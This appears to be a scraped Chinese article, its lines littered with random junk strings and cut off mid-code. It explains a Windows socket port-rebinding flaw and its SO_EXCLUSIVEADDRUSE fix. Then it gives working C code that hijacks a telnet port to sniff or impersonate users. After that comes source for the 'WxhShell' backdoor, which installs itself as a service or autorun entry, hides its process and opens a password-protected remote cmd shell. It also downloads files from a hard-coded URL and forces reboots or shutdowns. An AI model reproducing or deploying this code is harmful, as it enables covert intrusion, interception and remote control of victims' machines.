在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
vS<;:3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
p,D/ Pb8 ]?)zH:2) saddr.sin_family = AF_INET;
PJAir8 }qz58]fyx saddr.sin_addr.s_addr = htonl(INADDR_ANY);
;T52aX .: 7h=neEW bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
7*XG]=z/ WaMn[/{ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+N4h
Q" 9Zrn(D 这意味着什么?意味着可以进行如下的攻击:
*8XGo Y,mH ] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
sCb?TyN'n "<O?KO3K 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~[9 ]M)=O0 k5xirB_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
A)7'\JK7b {8jG6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Q|G[9HBI '`o+#\,b^% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Eun%uah6c r9vC&pWZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
|E7]69=P ~`N|sI, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G8oQSo;D \+Cp<Hv+ #include
xDlC]loi7 #include
:,VyOmf #include
K->p&6s #include
'ZDa *9nkF DWORD WINAPI ClientThread(LPVOID lpParam);
eB]ZnJ2^= int main()
E0oJ|My {
^$#Q_Y| WORD wVersionRequested;
ac&tpvij DWORD ret;
/|DQ_<* WSADATA wsaData;
!E7/:t4 BOOL val;
Ta[}k/zW SOCKADDR_IN saddr;
d#z67Nl6 SOCKADDR_IN scaddr;
"{0kg'fU int err;
3S5QqAm SOCKET s;
/r?X33D! SOCKET sc;
E{Q^ZSV3B int caddsize;
ZK'I$p]b HANDLE mt;
q{_buTARq DWORD tid;
lp]O8^][& wVersionRequested = MAKEWORD( 2, 2 );
?)PcYrV err = WSAStartup( wVersionRequested, &wsaData );
uw<Ruy if ( err != 0 ) {
/n_HUY printf("error!WSAStartup failed!\n");
Y.C*|p# return -1;
LQQhn{[D }
):[[Ch_ saddr.sin_family = AF_INET;
(?3(=+t ?NwFpSB2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Q%>,5(_V] D>1Dao saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
l;;:3: saddr.sin_port = htons(23);
W.CIyGK if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>3Y&jsh< {
Je*gMq:D printf("error!socket failed!\n");
*LhR$(F( return -1;
)i>KYg w }
4i19HD_ val = TRUE;
5y~[2jB: //SO_REUSEADDR选项就是可以实现端口重绑定的
UmJg-~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
HU'E}8%t6 {
><DE1tG printf("error!setsockopt failed!\n");
a[JgR /E@x return -1;
P~*fZ)\}F@ }
qj/P4 *6E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
EagI)W!s[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Fq3;7Cq=hD //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
bVrvb`0 d8K^`k+x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
)Ob{] {
l%:_#1?isf ret=GetLastError();
l{3utQH-=z printf("error!bind failed!\n");
jW*A(bK8: return -1;
nAYjSE }
WgL!@g listen(s,2);
NdZ:
7 while(1)
{p/m+m {
\E30.>%, caddsize = sizeof(scaddr);
a|>MueJ //接受连接请求
AuCVpDH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
aqN.5'2\ if(sc!=INVALID_SOCKET)
5Tu.2.)N {
:`|,a( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Ea
!j-Lb o if(mt==NULL)
St3~Y{aI| {
,8
.`; printf("Thread Creat Failed!\n");
Xgm7>=l break;
)Qc$UI8L }
*Zvw&y* }
R}]FIu CloseHandle(mt);
|
jkmh6 }
nk{1z\D{ closesocket(s);
*!Dzst-J3 WSACleanup();
ubQ(O uM" return 0;
;CrA }
;Cy@TzO/| DWORD WINAPI ClientThread(LPVOID lpParam)
3m^BYr*y^ {
'ZDclz9} SOCKET ss = (SOCKET)lpParam;
_`\INZe-G SOCKET sc;
C+mU_g> unsigned char buf[4096];
f0F$*"#G SOCKADDR_IN saddr;
F,
"x~C long num;
DjKjEZHgM DWORD val;
eOb`uyi DWORD ret;
s6$3[9Vh&9 //如果是隐藏端口应用的话,可以在此处加一些判断
Y:a(y*y< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
^#4s/mdVO saddr.sin_family = AF_INET;
x0d+cSw saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'tbb"MEi4 saddr.sin_port = htons(23);
76m[o if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
fin15k {
w9FI*30 printf("error!socket failed!\n");
3%} Ma, return -1;
cm]]9z_< }
gr;M
val = 100;
oxzNV&D[{` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7I|%GA_ {
g U?) ret = GetLastError();
*t_&im%E return -1;
=6sXZ"_Tw }
TU/J]'))C if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
aPC!M4# {
~g{,W ret = GetLastError();
)=D&NO67Pq return -1;
b>i=",i\ }
w# e'K-= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
AUC<
m. {
>$y
> printf("error!socket connect failed!\n");
FMn&2fH closesocket(sc);
+@Y[i."^J closesocket(ss);
+6=!ve} return -1;
I?K0bs+6 }
ZwMw g t while(1)
<-F"&LI{< {
pV7Gh`<y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
wGvgMZ ]?' //如果是嗅探内容的话,可以再此处进行内容分析和记录
AV p[gr //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
wLtTC4D num = recv(ss,buf,4096,0);
H[D/Sz5` if(num>0)
]c)SVn$6 send(sc,buf,num,0);
BGX@n#: else if(num==0)
}]I?vyQ#V break;
$<v_Vm?6d num = recv(sc,buf,4096,0);
K288&D|1WU if(num>0)
:~(im_r send(ss,buf,num,0);
!A!\S/x4 else if(num==0)
R%%`wmG)" break;
5)UmA8"zVB }
CC\z_C*P-p closesocket(ss);
K\b O[J closesocket(sc);
+HX'A C return 0 ;
i7rq;t< }
z (3"\ ^T =FmU]DV
`xUPML- ==========================================================
-Q6pV<i f[b YjIX 下边附上一个代码,,WXhSHELL
T Rw6$CR 6<Z:Xw ==========================================================
[fp"MPP3 blcKtrYg #include "stdafx.h"
LzRiiP^q \#aVu^`eX #include <stdio.h>
?^~"x.<nr #include <string.h>
yUO|3ONT #include <windows.h>
NJ>p8P`_k #include <winsock2.h>
oui!fTy #include <winsvc.h>
D,\=zX; #include <urlmon.h>
pr txE&- k`TJ<Dv; #pragma comment (lib, "Ws2_32.lib")
>|)0Amt #pragma comment (lib, "urlmon.lib")
ImY.HB^& FE}!bKh #define MAX_USER 100 // 最大客户端连接数
`l2q G# #define BUF_SOCK 200 // sock buffer
%v[Kk-d #define KEY_BUFF 255 // 输入 buffer
7X(]r1-+\ :OCuxSc%5 #define REBOOT 0 // 重启
n#Roz5/U #define SHUTDOWN 1 // 关机
(:QQ7xc{} <im<(=m9 #define DEF_PORT 5000 // 监听端口
vLuQe0l{ A[kH_{to; #define REG_LEN 16 // 注册表键长度
1>w^ q`P #define SVC_LEN 80 // NT服务名长度
= O1;vc}AA 8/"|VE DOr // 从dll定义API
V=&,^qZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
gvNZrp>e! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-j_I_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
:(>9u.>l?5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|xZcT4 mE`qvavP|/ // wxhshell配置信息
^,lZ58
2 struct WSCFG {
H@E ")@92 int ws_port; // 监听端口
#}dVaXY) char ws_passstr[REG_LEN]; // 口令
6 1W/BU7O int ws_autoins; // 安装标记, 1=yes 0=no
`8;,&<U'` char ws_regname[REG_LEN]; // 注册表键名
hF"g91P char ws_svcname[REG_LEN]; // 服务名
QO{=Wi- char ws_svcdisp[SVC_LEN]; // 服务显示名
V wVQ|UH char ws_svcdesc[SVC_LEN]; // 服务描述信息
PgLS\_B char ws_passmsg[SVC_LEN]; // 密码输入提示信息
eJw=" int ws_downexe; // 下载执行标记, 1=yes 0=no
Eqbe$o`dd char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ShJK&70O char ws_filenam[SVC_LEN]; // 下载后保存的文件名
bz0P49% Ia`JIc^e };
XcMJD(! -,VhS I // default Wxhshell configuration
_sR9 struct WSCFG wscfg={DEF_PORT,
{Y91vXTz7 "xuhuanlingzhe",
6@q[tN7_^ 1,
^Opy6Bqb "Wxhshell",
neh;`7~5@K "Wxhshell",
H:-A; f!Z "WxhShell Service",
oNB,.: "Wrsky Windows CmdShell Service",
?[VpN2* "Please Input Your Password: ",
8i;)|z7 1,
^Wfgwmh "
http://www.wrsky.com/wxhshell.exe",
IT`=\K/[4 "Wxhshell.exe"
kt{C7qpD };
!UoU#YU Zknewv*sS4 // 消息定义模块
8a`+h# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
!I5~))E char *msg_ws_prompt="\n\r? for help\n\r#>";
\c~{o+UD- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
knOnUU char *msg_ws_ext="\n\rExit.";
,p!B"#
ot char *msg_ws_end="\n\rQuit.";
-
SS r char *msg_ws_boot="\n\rReboot...";
~sIGI?5f char *msg_ws_poff="\n\rShutdown...";
B>Cs&}Y! char *msg_ws_down="\n\rSave to ";
xs'kO= $tCcjBK\ char *msg_ws_err="\n\rErr!";
=+`j?1 char *msg_ws_ok="\n\rOK!";
#)0Tt>d6 4r[pMJiq char ExeFile[MAX_PATH];
o}MzqKfu int nUser = 0;
Sf&?3a+f HANDLE handles[MAX_USER];
Pc)VK>.fc int OsIsNt;
U2V^T'Y[ g[s\~MF@s SERVICE_STATUS serviceStatus;
0UGiPH,() SERVICE_STATUS_HANDLE hServiceStatusHandle;
d"I28PIS" (+UmUx= // 函数声明
LR3`=Z9 int Install(void);
'Z.OF5|eGT int Uninstall(void);
aLKMDiT int DownloadFile(char *sURL, SOCKET wsh);
sr+gD*@h int Boot(int flag);
#_?TIY:h void HideProc(void);
hA*Z'.[ int GetOsVer(void);
gf3U#L}P int Wxhshell(SOCKET wsl);
H5Ux.]y void TalkWithClient(void *cs);
SgpZ;\_ int CmdShell(SOCKET sock);
],\sRQbv& int StartFromService(void);
IAP/G5'Q int StartWxhshell(LPSTR lpCmdLine);
>wKu6-
]a uZ\wwYY#M VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
A{z>D`d VOID WINAPI NTServiceHandler( DWORD fdwControl );
_k_>aG23 rToaGQh // 数据结构和表定义
"[*S?QO(L SERVICE_TABLE_ENTRY DispatchTable[] =
4YDT%_h0 {
jj!N39f {wscfg.ws_svcname, NTServiceMain},
}UKgF. {NULL, NULL}
w dGpt_ };
\[hn]@@ 'u(=eJ@1 // 自我安装
djsz!$ int Install(void)
K/vxzHSl {
1mHwYT+ char svExeFile[MAX_PATH];
ofMu3$Q HKEY key;
ZD5I5 strcpy(svExeFile,ExeFile);
By?nd) 7~wFU*P1 // 如果是win9x系统,修改注册表设为自启动
P>*Fj4Z~ if(!OsIsNt) {
}+Rgx@XZ\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.[T'yc:= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/!=U+X RegCloseKey(key);
*wC\w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7
9Qc`3a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2J;kD2"! RegCloseKey(key);
tYs8)\{ return 0;
onnI ! }
t_jyyHxoZ: }
&
u$(NbK }
U~uwm/h else {
6FL?4>MZ
5vD3K!\u // 如果是NT以上系统,安装为系统服务
J| SwQE~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
6OL41g' if (schSCManager!=0)
YBX)eWslK {
}#yU'#|d SC_HANDLE schService = CreateService
C=N!z (
"^;#f+0 schSCManager,
P<%v+O wscfg.ws_svcname,
-xJX _6}A wscfg.ws_svcdisp,
)]%e SERVICE_ALL_ACCESS,
(VgNb&Yo9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
zlH28V SERVICE_AUTO_START,
i[$-_ SERVICE_ERROR_NORMAL,
.#*D!;f svExeFile,
a9[mZVMgUK NULL,
i=oTg NULL,
!*&4< _ NULL,
Z6
;Wd_ NULL,
0 _Q*E3 NULL
j!YNg*H );
O!;H}{[dg if (schService!=0)
r0>q%eM8 {
N83!C=X' CloseServiceHandle(schService);
?-e7e% CloseServiceHandle(schSCManager);
SOVjEo4'3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>Q;
g0\I_ strcat(svExeFile,wscfg.ws_svcname);
O?CdAnhQc` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
d]U`?A, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~?gzq~~t RegCloseKey(key);
.>}BNy return 0;
o`idg[l. }
(Aorx #z }
P{?;T5ap6 CloseServiceHandle(schSCManager);
G'u|Q
mb1 }
'e F% }
`M&P[.9Pz 5J
ySFG3 return 1;
j(j#0dXLh }
[w!C*_V 9 G\R*#4cF // 自我卸载
T/ik/lFI int Uninstall(void)
w&%9IJ {
sa*g HKEY key;
gNqAj# m axX{6 if(!OsIsNt) {
H
nK!aa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mjbTy"}" RegDeleteValue(key,wscfg.ws_regname);
$!f!,fw+ RegCloseKey(key);
IroPx#s:i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/0(%(2jIWl RegDeleteValue(key,wscfg.ws_regname);
J,??x0GDx, RegCloseKey(key);
bl=ku<}@ return 0;
E>E*ZZuhj }
H<g 1m }
/jM_mrpz }
i0>]CJG else {
!$_~x
8K1- ?\ZL#)hr"p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
yNBv-oe5 if (schSCManager!=0)
<:">mV+/ {
OVZP x%a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
K*1.'9/ if (schService!=0)
Goxl3LS< {
HmMO*k<6@ if(DeleteService(schService)!=0) {
! D$Ooamq CloseServiceHandle(schService);
1RLym9JN CloseServiceHandle(schSCManager);
`{[RjM` return 0;
UbO4%YHt }
5Tedo~v CloseServiceHandle(schService);
vwmBUix }
!scD|ti CloseServiceHandle(schSCManager);
|#k@U6`SG }
}AlYNEY }
onwjn+"& l-<`m#/v return 1;
Sm)u9 }
V7EQ4Om:It TN\|fzj // 从指定url下载文件
R:M,tL-l int DownloadFile(char *sURL, SOCKET wsh)
V,Q4n%h1. {
6kN:* HRESULT hr;
"oR@JbdX char seps[]= "/";
\9`#]#1bx5 char *token;
-\4zwIH char *file;
Br!9x{q* char myURL[MAX_PATH];
k2r3dO@q char myFILE[MAX_PATH];
Q,gLi\siI 4jX3lq| strcpy(myURL,sURL);
x:fW~!Xc6 token=strtok(myURL,seps);
3#c3IZ-; while(token!=NULL)
YHB9mZi {
1'JD = file=token;
0OnV0SIL token=strtok(NULL,seps);
vQ1 v#Z }
QTH7grB2v |0g{"}% GetCurrentDirectory(MAX_PATH,myFILE);
"u492^ strcat(myFILE, "\\");
d$G}iJ8$mp strcat(myFILE, file);
1y(UgEg send(wsh,myFILE,strlen(myFILE),0);
V%*b@zv send(wsh,"...",3,0);
x6W`hpL hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
1_hW#I\' if(hr==S_OK)
cG{L
jt return 0;
eM2|c3/ else
'RbQj}@x return 1;
* ?]~
# PX2c[CDE^ }
~e-z,:Af UG](go't // 系统电源模块
u -3:k int Boot(int flag)
5Sva}9H {
36vgX=} HANDLE hToken;
cj$d=k~ TOKEN_PRIVILEGES tkp;
F9a^ED0l\ r^1+cwy/7P if(OsIsNt) {
X!>eiYK) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
S\*`lJzPM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ac8P\2{" tkp.PrivilegeCount = 1;
A6!F@Ic[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
A&"%os AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^x m$EY*Y, if(flag==REBOOT) {
YlF%UPp if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
H,y4`p 0 return 0;
tU:EN;H }
q%i-`S]}qL else {
cBXWfv4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
G8J*Wnwu[K return 0;
[0y$! f4 }
}D;WN@], }
(V?: ] else {
z~{&}Em ~ if(flag==REBOOT) {
ypdT&5Mqb! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
m@Rtlb return 0;
y7)(LQRE
{ }
]uQqn]+I! else {
mJ}opy!{; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=1.9/hW return 0;
bt$)Xu<R }
y*23$fj( }
Ig6T g ? @~ETj26U' return 1;
y[?-@7i }
Ul+Mo&y- 6"f}O<M5H // win9x进程隐藏模块
5d\q-d void HideProc(void)
!?!C'-ps {
)B$;Vs]@i =
ieag7! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
~j9O$s~) if ( hKernel != NULL )
=]C]= {
O"G >wv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
rXfy!rD_P_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
p-SJ6Gg
9 FreeLibrary(hKernel);
]#2Y e7+ }
$F'>yop2b DA&?e~L&H return;
Np+&t} }
RQB
4s^t 36.N>G, // 获取操作系统版本
JW.=T) int GetOsVer(void)
9f+>ix,ek* {
C3NdE_E OSVERSIONINFO winfo;
\ZU1Jb1c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
umi5Wb< GetVersionEx(&winfo);
s?R2B)a if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u8GMUN return 1;
kOo~%kcQ' else
%zk$}}ti. return 0;
Y!J>U }
7R!5,Js+ ??60,m:] // 客户端句柄模块
={>Lrig:l int Wxhshell(SOCKET wsl)
$37
g]ZD {
%ru;;h SOCKET wsh;
,\2:/>2 struct sockaddr_in client;
E.|-?xQ6 DWORD myID;
YH&bD16c3 9o*,P,j'} while(nUser<MAX_USER)
6(d }W2GP {
Rp7ntI: int nSize=sizeof(client);
rE9I>|tX wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
5NoI~X= if(wsh==INVALID_SOCKET) return 1;
a]
= jO*l3:!~ \ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
UhA"nt0 if(handles[nUser]==0)
@c9^q>Uv closesocket(wsh);
R218(8S else
B/~%h | nUser++;
&`0/CV }
\.YS%"Vz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)WT>@ %1}K""/ return 0;
D(-yjY8aG }
4SPy28<f h.O$]:N // 关闭 socket
=0uAE7q(9 void CloseIt(SOCKET wsh)
!$N<ds. {
./Q, closesocket(wsh);
%NL^WG: nUser--;
;bHV ExitThread(0);
^j-3av= }
EF3Cdu{]P ^WBuMCe // 客户端请求句柄
Z87_ #5 void TalkWithClient(void *cs)
5p.rwNE {
7qTE('zt otggN:^Qw SOCKET wsh=(SOCKET)cs;
[kE."# char pwd[SVC_LEN];
7i&:DePM'q char cmd[KEY_BUFF];
T^J >ZDA char chr[1];
0d8%T<=J int i,j;
GFr|E8 u#}[ZoI while (nUser < MAX_USER) {
x#Sqn# F 8B#}%JE if(wscfg.ws_passstr) {
(Jz;W<E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
pPd#N'\* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S[WG$ //ZeroMemory(pwd,KEY_BUFF);
Sb~MQ_ i=0;
#>Zzf while(i<SVC_LEN) {
;2B{ 9{ @E:,lA // 设置超时
?-^~f fd_set FdRead;
g8PTGz struct timeval TimeOut;
B&D}F=U FD_ZERO(&FdRead);
6k#Jpmmr FD_SET(wsh,&FdRead);
!%$`Eq)M^7 TimeOut.tv_sec=8;
qucq,Yw TimeOut.tv_usec=0;
x c{hC4^V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
x?&$ ci if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
zOQ>d|p?X B^g ?=|{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
h@a+NE8 pwd
=chr[0]; w^t/9Nasi
if(chr[0]==0xd || chr[0]==0xa) { :9k Ty:
pwd=0; fW?o@vlO
break; N<~ku<nAU
} O{#=d
i++; F_CYYGZ
} 72'5%*1
pR~U`r5z
// 如果是非法用户,关闭 socket 8<Hf"M
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jy'13G/b\
} z[Xd%mhjO
P#AW\d^"B
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TqnTS0fx
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >y,-v:Vy
%n*-VAfE\
while(1) { D-c`FG'
'q`^3&E
ZeroMemory(cmd,KEY_BUFF); cFJY^A
E~6c -Lw
// 自动支持客户端 telnet标准 vh$%9ed
j=0; %f]:I
while(j<KEY_BUFF) { <_7*67{
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P'_H/r/#
cmd[j]=chr[0]; 0\e IQp
if(chr[0]==0xa || chr[0]==0xd) { wp&=$Aa)'
cmd[j]=0; I1X-s
break; =zz~kon9
} #"B\UN
j++; ^jx7@LgS=
} P?k0zwOlBl
]UmFhBR-
// 下载文件 sIy^m}02
if(strstr(cmd,"http://")) { >6?__v]9G
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,k;^G><
=
if(DownloadFile(cmd,wsh)) [EKQR>s)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RNe^;
B
else P}4QQw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }9FSO9*&}
} .nVa[B|.
else { BBev<
T
\_]^]>
switch(cmd[0]) { 9?SZNL['V
U[ 0=L`0e
// 帮助 JT!9\i
case '?': { jEZMUqGY!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rd#WMo2Xd
break; ojanBg
} Ys\Wj%6A
// 安装 Rx}$0c0
case 'i': { '!eKTC>
if(Install()) oaIi2=Tf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }n>p4W"OM
else H["`Mn7j2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MB~=f[cUnd
break; j3{D^|0bP
} yjF1}SQ
// 卸载 7Mg=b%IYs
case 'r': { ci?qT,&
if(Uninstall()) 0|{u{w@!`
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
@fl-3q
else ~
Q. 7VDz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xwq+j "
break; =ACVE;L?
} 24z< gO
// 显示 wxhshell 所在路径 &tg&5_
case 'p': { FG.em
char svExeFile[MAX_PATH]; F9,DrB,B{
strcpy(svExeFile,"\n\r"); ^rifRY-,yO
strcat(svExeFile,ExeFile); xe^Gs]fm
send(wsh,svExeFile,strlen(svExeFile),0); e4 >_v('
break; .K1FKC$C
} 8@MV%MVy$
// 重启 vH :LQ!2
case 'b': {
zem8G2#c
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "eB$k40-
if(Boot(REBOOT)) uM_wjP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @`q:IIgW
else { h4T5+~rw
closesocket(wsh); lPw%ErG
ExitThread(0); u>2
l7PA|
} 3h$6t7=C
break; <
HVl(O
} ]~'5\58sP
// 关机 (>nGQS]H
case 'd': { w9< R#y[A
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &L'Dqew,*
if(Boot(SHUTDOWN)) {xXsBh
Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W*Zkc:{eB
else { '"SEw
w
closesocket(wsh); l`#4KCL(
ExitThread(0); pKpUXfQu
} X-K=!pET
break; ;:\<gVi:
}
<G|(|E1
// 获取shell fF7bBE)L/|
case 's': { `d5%.N
CmdShell(wsh); 1Q<^8N)pf
closesocket(wsh); )u[emv$
ExitThread(0); A kC1z73<
break; $4h 5rC g0
} ywGd> @
// 退出 J}v}~Cv
case 'x': { \LR~r%(rM
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &"&Z
#llb
CloseIt(wsh); QdF5Cwf4
break; zv0l,-o
} Yc_8r+;(
// 离开 p<2L.\6"
case 'q': { 2^h27A
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <m)$K
closesocket(wsh); D$
dfNiCH
WSACleanup(); Xg|B \\
exit(1); J:CXW%\ <q
break; K1 EynU
I
} I>]oS(GNT
} lr>oYS0
} YIoQL}pX
GpY"fc%
// 提示信息 w$zu~/qV2
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3x{t(
} oM2l-[-
} Wh+{mvu#
I&}L*Z?`
return; e!N:,`R
5
} BTGvN%
RYQ<Zr$!
// shell模块句柄 #@YPic"n7`
int CmdShell(SOCKET sock) b=yx7v"r
{ A9I{2qW9+Z
STARTUPINFO si; #5cEV'm;
ZeroMemory(&si,sizeof(si)); Cl;oi}L
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rdvk
ml@@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vQosPS_2L
PROCESS_INFORMATION ProcessInfo; \?[v{WP)
char cmdline[]="cmd"; LClNxm2X
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -]/I73!b
return 0; Ktb\ b w
} >`Y.+4mE
^Cu\VV
// 自身启动模式 Aw$x;3y
int StartFromService(void) zi|+HM
{ F
U_jGwD
typedef struct `q}I"iS
{ zM bN;tu
